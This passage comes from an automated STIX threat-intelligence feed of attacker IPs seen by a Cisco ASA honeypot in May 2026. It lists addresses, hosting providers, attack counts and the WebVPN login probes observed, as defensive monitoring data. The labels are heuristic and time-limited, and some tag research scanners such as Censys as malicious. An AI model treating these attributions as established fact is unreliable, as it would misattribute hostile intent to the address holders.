          "attack_count": 27,
          "first_seen": "2026-05-02T03:24:03.440Z",
          "last_seen": "2026-05-29T09:34:56.236Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--9a31522a-65f0-46d4-9420-cdd40cacc7bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-02T03:21:46.738Z",
          "last_seen": "2026-05-27T21:30:25.349Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--ef6ab4d6-b69b-4bb7-9466-6d0878fea2b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-02T03:26:24.916Z",
          "last_seen": "2026-05-08T06:07:30.433Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--8df3b778-006d-4e8b-9214-c21ff5abaf1c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-02T03:54:13.076Z",
          "last_seen": "2026-05-02T03:54:16.077Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5427a5aa-2695-4ec4-9758-6122ff5224bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 25,
          "first_seen": "2026-05-02T03:44:40.306Z",
          "last_seen": "2026-05-25T15:17:26.613Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0f5211b0-feed-401c-8d9f-cd6a4ec43c8c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-02T03:30:15.503Z",
          "last_seen": "2026-05-29T20:45:59.818Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--38c40280-c765-437f-92b2-067a1e57ee8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-02T04:06:32.814Z",
          "last_seen": "2026-05-07T10:06:57.515Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--923c46a3-9dba-468f-a333-db148789474a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-02T04:11:01.987Z",
          "last_seen": "2026-05-31T02:35:05.496Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fc866f88-db29-4d7a-906c-99c27e3b4b7c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T03:54:55.453Z",
          "last_seen": "2026-05-30T00:51:15.844Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--696cdf99-b9ec-48bb-bac0-3ad498c63159",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-02T04:01:09.136Z",
          "last_seen": "2026-05-26T01:44:58.951Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--c467ebbc-6e57-48cc-83f0-bb172787f2e6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-02T03:47:11.963Z",
          "last_seen": "2026-05-02T03:47:34.434Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--90a2b8f8-da30-43c6-875d-d0436eb792e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 45,
          "first_seen": "2026-05-02T04:11:27.046Z",
          "last_seen": "2026-05-30T05:48:07.098Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--99189d36-b961-4fc4-ad68-207aa91d2a5d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-02T03:30:03.740Z",
          "last_seen": "2026-05-29T04:41:13.814Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--e9346123-1b86-4317-81e3-4202f486ff2c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:20:10.000Z",
      "valid_until": "2026-06-03T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-02T03:42:19.442Z",
          "last_seen": "2026-05-23T08:38:10.548Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T05:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--bb6cf903-afcb-4536-a1aa-41bd58c46a44",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:20:03.000Z",
      "valid_until": "2026-06-03T05:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-02T05:08:03.533Z",
          "last_seen": "2026-05-02T05:08:16.930Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T05:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--a531ef1c-2dae-48c3-92d6-c48aa29b5901",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:20:03.000Z",
      "valid_until": "2026-06-03T05:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 26,
          "first_seen": "2026-05-02T04:43:13.394Z",
          "last_seen": "2026-05-29T15:31:46.126Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T05:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--43a27bf5-aa82-44c3-ad13-fc8ffb75248b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:20:03.000Z",
      "valid_until": "2026-06-03T05:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-02T05:19:14.241Z",
          "last_seen": "2026-05-29T09:17:48.133Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T05:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7c8ba8f2-230a-4825-b43d-56b5c0693bd3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:20:03.000Z",
      "valid_until": "2026-06-03T05:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-02T05:06:05.814Z",
          "last_seen": "2026-05-29T20:14:04.947Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T05:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ba8c3de8-dd62-42cb-a383-6d9d50c31324",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:20:03.000Z",
      "valid_until": "2026-06-03T05:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T05:16:43.803Z",
          "last_seen": "2026-05-27T00:50:42.103Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T05:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--08cd3958-92ba-4ed5-9dc8-81fff8d4c779",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:20:03.000Z",
      "valid_until": "2026-06-03T05:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-02T04:24:52.691Z",
          "last_seen": "2026-05-26T09:57:00.422Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T05:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--626c59e4-18bf-491f-ae0c-f4685b2a17f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T05:20:03.000Z",
      "valid_until": "2026-06-03T05:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
